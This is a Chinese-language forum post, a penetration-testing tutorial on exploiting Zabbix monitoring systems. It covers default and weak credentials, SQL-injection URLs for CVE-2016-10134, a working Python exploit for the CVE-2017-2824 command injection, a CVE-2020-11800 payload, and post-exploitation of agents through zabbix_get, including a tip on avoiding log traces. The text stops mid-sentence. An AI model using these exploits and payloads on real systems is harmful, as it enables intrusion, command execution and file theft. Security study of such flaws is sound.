taibeihacker
Moderator
Zabbix 漏洞深入利用
1 前言
Zabbix 是一個基於WEB 界面的提供分佈式系統監視系統監視以及網絡監視功能的企業級的開源解決方案,能監視各種網絡參數,保證服務器系統服務器系統的安全運營;並提供靈活的通知機制以讓系統管理員快速定位、解決存在的各種問題。1.1 组件
Zabbix 監控系統由以下幾個組件部分構成:Zabbix ServerZabbix Server 是所有配置、統計和操作數據的中央存儲中心,也是Zabbix 監控系統的告警中心。在監控的系統中出現任何異常,將被發出通知給管理員。 Zabbix Server 的功能可分解成為三個不同的組件,分別為Zabbix Server 服務、Web 後台及數據庫。
Zabbix ProxyZabbix Proxy 是在大規模分佈式監控場景中採用一種分擔Zabbix Server 壓力的分層結構,其多用在跨機房、跨網絡的環境中,Zabbix Proxy 可以代替Zabbix Server 收集性能和可用性數據,然後把數據匯報給Zabbix Server,並且在一定程度上分擔了Zabbix Server 的壓力。
Zabbix AgentZabbix Agent 部署在被監控的目標機器上,以主動監控本地資源和應用程序(硬盤、內存、處理器統計信息等)。 Zabbix Agent 收集本地的狀態信息並將數據上報給Zabbix Server 用於進一步處理。
1.2 网络架构

對於Zabbix Agent 客戶端來說,根據請求類型可分為被動模式及主動模式:
被動模式:Server 向Agent 的10050 端口獲取監控項數據,Agent 根據監控項收集本機數據並響應。
主動模式:Agent 主動請求Server (Proxy) 的10051 端口獲取監控項列表,並根據監控項收集本機數據提交給Server (Proxy)
1.3 Zabbix Agent 配置
Zabbix Agent 服務的配置文件為zabbix_agentd.conf,Linux 默認路徑在/etc/zabbix/zabbix_agentd.conf。
配置文件中包含的一些基本設置選項:
Server 参数Server 或Proxy 的IP、CIDR、域名等,Agent 僅接受來自Server 參數的IP 請求(白名單)。
ServerActive 参数Server 或Proxy 的IP、CIDR、域名等,用於主動模式,Agent 主動向ServerActive 參數的IP 發送請求。
StartAgents 参数zabbix 啟動之後開啟被動監控的進程數量,默認為3。如果設置為0,那麼zabbix 被動監控被禁用,並且不會監聽10050 端口。

配置文件中包含的一些可能存在風險的設置選項:
Include 参数加載配置文件目錄單個文件或所有文件,通常包含的conf 都是配置UserParameter 自定義用戶參數。
UserParameter 参数自定義用戶參數,格式為UserParameter=key,command,Server 可向Agent 執行預設的自定義參數命令以獲取監控數據,以官方示例為例:
1
UserParameter=ping[*],echo $1
當Server 向Agent 執行ping[aaaa] 指令時,$1 為傳參的值,Agent 經過拼接之後執行的命令為echo aaaa,最終執行結果為aaaa。
command 存在命令拼接,但由於傳參內容受UnsafeUserParameters 參數限制,默認無法傳參特殊符號,所以默認配置利用場景有限。
UnsafeUserParameters 参数自定義用戶參數是否允許傳參任意字符,默認不允許字符\ ' ' `` * ? [ ] { } ~ $ ! ( ) | # @,當UnsafeUserParameters=1 時,允許特殊字符。
以UserParameter=ping[*],echo $1 為例,向Agent 執行指令ping[test whoami],經過命令拼接後最終執行echo test whoami,成功注入執行shell 命令。
EnableRemoteCommands 参数是否允許來自Zabbix Server 的遠程命令,開啟後可通過Server 下發shell 腳本在Agent 上執行。當值為1 時,允許遠程下發命令。
AllowRoot 参数Linux 默認以低權限用戶zabbix 運行,開啟後以root 權限運行zabbix_agentd 服務。當其值為1 時,允許以root 權限執行命令。
2 Zabbix 历史漏洞
2.1 弱口令
2.1.1 Web 端
Zabbix 安裝後自帶Admin 管理員用戶和Guests 訪客用戶(低版本),可登陸Zabbiax 後台。常見弱口令組合:
admin:zabbix
Admin:zabbix
guset:空口令
2.1.2 mysql 端
由於root 用戶默認情況下無法外連,運維通常會新建MySQL 用戶zabbix,常見密碼如下:1
2
3
4
5
6
123456
zabbix
zabbix123
zabbix1234
zabbix12345
zabbix123456
拿下MySQL 數據庫後,可解密users 表的密碼md5 值,或者直接替換密碼的md5 為已知密碼,即可登錄Zabbix Web。
2.2 CVE-2016-10134 - SQL 注入漏洞
該漏洞的具體分析可參考:zabbix SQL注入漏洞(CVE-2016-10134),原理是insert 插入時未對用戶輸入的數據進行過濾,可以進行顯錯注入。2.2.1 已有用户凭据
以Guest 用戶登錄後,查看Cookie 中的zbx_sessionid,複製後16 位字符:
將這16 個字符作為sid 的值,訪問http://your-ip:8080/latest.php?outp...s[]=updatexml(0,concat(0xa,user()),0),可見成功注入:

2.2.2 无用户凭据
這個漏洞也可以通過jsrpc.php 觸發,且無需登錄:http://ip:8080/jsrpc.php?type=0mode...rofileIdx2=updatexml(0,concat(0xa,user()),0):

將用戶密碼MD5 還原即可登錄。漏洞利用腳本:zabbixPwn
2.3 CVE-2017-2824 - 命令注入
利用該漏洞,需要服務端開啟了自動註冊功能,所以我們先以管理員的身份開啟自動註冊功能。使用賬號密碼admin/zabbix 登錄後台,進入Configuration-Actions,將Event source 調整為Auto registration,然後點擊Create action,創建一個Action,名字隨意:
第三個標籤頁,創建一個Operation,type是Add Host:

保存。這樣就開啟了自動註冊功能,攻擊者可以將自己的服務器註冊為Agent。
第一條數據:
active checks是Agent 主動檢查時用於獲取監控項列表的命令,Zabbix Server 在開啟自動註冊的情況下,通過active checks 命令請求獲取一個不存在的host 時,自動註冊機制會將json 請求中的host、ip 添加到interface 數據表裡。
1
{'request':'active checks','host':'vulhub','ip':';touch /tmp/success'}))
第二條數據:
1
{'request':'command','scriptid':1,'hostid':10001}
command 指令可以在未授權的情況下可指定主機(hostid) 執行指定腳本(scriptid),Zabbix 存在3 個默認腳本,腳本中的{HOST.CONN} 在腳本調用的時候會被替換成主機IP。
1
2
3
# scriptid==1==/bin/ping -c {HOST.CONN} 21
# scriptid==2==/usr/bin/traceroute {HOST.CONN} 21
# scriptid==3==sudo /usr/bin/nmap -O {HOST.CONN} 21
scriptid 指定其中任意一個,hostid 為註入惡意Payload 後的主機id,但自動註冊後的hostid 是未知的,所以通過command 指令遍歷hostid 的方式都執行一遍,最後成功觸發命令注入漏洞。
由於默認腳本的類型限制,腳本都是在Zabbix Server 上運行,Zabbix Proxy 是無法使用command 指令的。 payload 長度受限制可拆分多次執行,必須更換host 名稱以執行新的payload。
EXP 如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
import sys
import socket
import json
import sys
def send(ip, data):
conn=socket.create_connection((ip, 10051), 10)
conn.send(json.dumps(data).encode())
data=conn.recv(2048)
conn.close()
return data
target=sys.argv[1]
print(send(target, {'request':'active checks','host':'vulhub','ip':';touch /tmp/success'}))
for i in range(10000, 10500):
data=send(target, {'request':'command','scriptid':1,'hostid':str(i)})
if data and b'failed' not in data:
print('hostid: %d' % i)
print(data)


2.4 CVE-2020-11800 - 命令注入
該漏洞為基於CVE-2017-2824 的繞過利用。未授權攻擊者向Zabbix Server 的10051 端口發送trapper 功能相關命令,利用漏洞即可在Zabbix Server 上執行系統命令。其中CVE-2020-11800 漏洞通過ipv6 格式繞過ip 字段檢測注入執行shell 命令,受数据表字段限制 Payload 长度只能为 64 个字符。
1
{'request':'active checks','host':'vulhub','ip':'ffff:whoami'}
由於CVE-2017-2824 與CVE-2020-11800 漏洞點及利用區別不大,不再复述。
3 Zabbix 后渗透测试
在擁有Zabbix Server 權限後,如何利用當前權限進一步控制Zabbix Agent?前文講到,Zabbix Agent 的10050 端口僅處理來自Zabbix Server 或Proxy 的請求,所以後續攻擊都是依賴於Zabbix Server 權限進行擴展。在zabbix 中,我們要監控的某一個指標,被稱為“監控項”,就像我們的磁盤使用率,在zabbix 中就可以被認為是一個“監控項”(item),如果要獲取到“監控項”的相關信息,我們則要執行一個命令,但是我們不能直接調用命令,而是通過一個“別名”去調用命令,這個“命令別名”在zabbix 中被稱為“鍵”(key),所以在zabbix 中,如果我們想要獲取到一個“監控項”的值,則需要有對應的“鍵”,通過“鍵”能夠調用相應的命令,獲取到對應的監控信息。
在控制Zabbix Server 權限的情況下可通過zabbix_get 命令向Agent 獲取監控項數據,比如說獲取Agent 的系統內核信息:

關於監控項,可以參考:
Agent監控項較多不一一例舉,可以參考:
1. Zabbix Agent監控項
2. Zabbix Agent Windows監控項
針對item 監控項的攻擊面進行挖掘,存在以下利用場景:
3.1 EnableRemoteCommands 参数远程命令执行
前文講到,Agent 遠程執行系統命令需要在zabbix_agentd.conf 配置文件中開啟EnableRemoteCommands 參數。在Zabbix Web 上添加腳本,Execute on 選項可根據需求選擇,選擇Zabbix server 不需要開啟EnableRemoteCommands 參數,所以一般控制Zabbix Web 後可通過該方式在Zabbix Server 上執行命令拿到服務器權限。

如果要指定某個主機執行該腳本,可從Zabbix Web 的“監測中- 最新數據”功能中根據過濾條件找到想要執行腳本的主機,單擊主機名即可在對應Agent 上執行腳本。

如果類型是Execute on Zabbix Agent ,Agent 配置文件在未開啟EnableRemoteCommands 參數的情況下會返回報錯。
如果不想在Zabbix Web 上留下太多日誌痕跡,或者想批量控制Agent,拿下Zabbix Server 權限後可以通過zabbix_get 命令向Agent 執行監控項命令,在 Zabbix Web 执行脚本实际上等于执行 system.run 监控项命令。

3.2 UserParameter 自定义参数命令注入
當Zabbiax Agent 的zabbix_agentd.conf 配置文件開啟UnsafeUserParameters 參數的情況下,傳參值字符不受限制,只需要找到存在傳參的自定義參數UserParameter,就能達到命令注入的效果。以下面配置為例:

1
zabbix_get -s agent -p 10050 -k 'ping[test id]'

3.3 任意文件读取
Zabbix Agent 如果沒有配置不當的問題,是否有其他姿勢可以利用呢?答案是肯定的。Zabbix 原生監控項中,vfs.file.contents命令可以讀取指定文件,但無法讀取超過64KB 的文件。

zabbix_agentd 服務默認以低權限用戶zabbix 運行,讀取文件受zabbix 用戶權限限制。開啟AllowRoot 參數情況下zabbix_agentd 服務會以root 權限運行,利用vfs.file.contents 命令就能任意文件讀取。
如果文件超過64KB 無法讀取,在了解該文件字段格式的情況下可利用vfs.file.regexp 命令正則獲取關鍵內容。
3.4 Windows 目录遍历
Zabbix原生監控項中,wmi.get 命令可以執行WMI 查詢並返回第一個對象,通過WQL 語句可以查詢許多機器信息。如:WQL 查詢盤符
1
zabbix_get -s agent -p 10050 -k 'wmi.get[root\\cimv2,\'SELECT Name FROM Win32_LogicalDisk\']'
利用wmi.get 命令進行目錄遍歷、文件遍歷,結合vfs.file.contents 命令就能夠在Windows 下實現任意文件讀取。
基於zabbix_get 命令寫了個python 腳本,實現Wi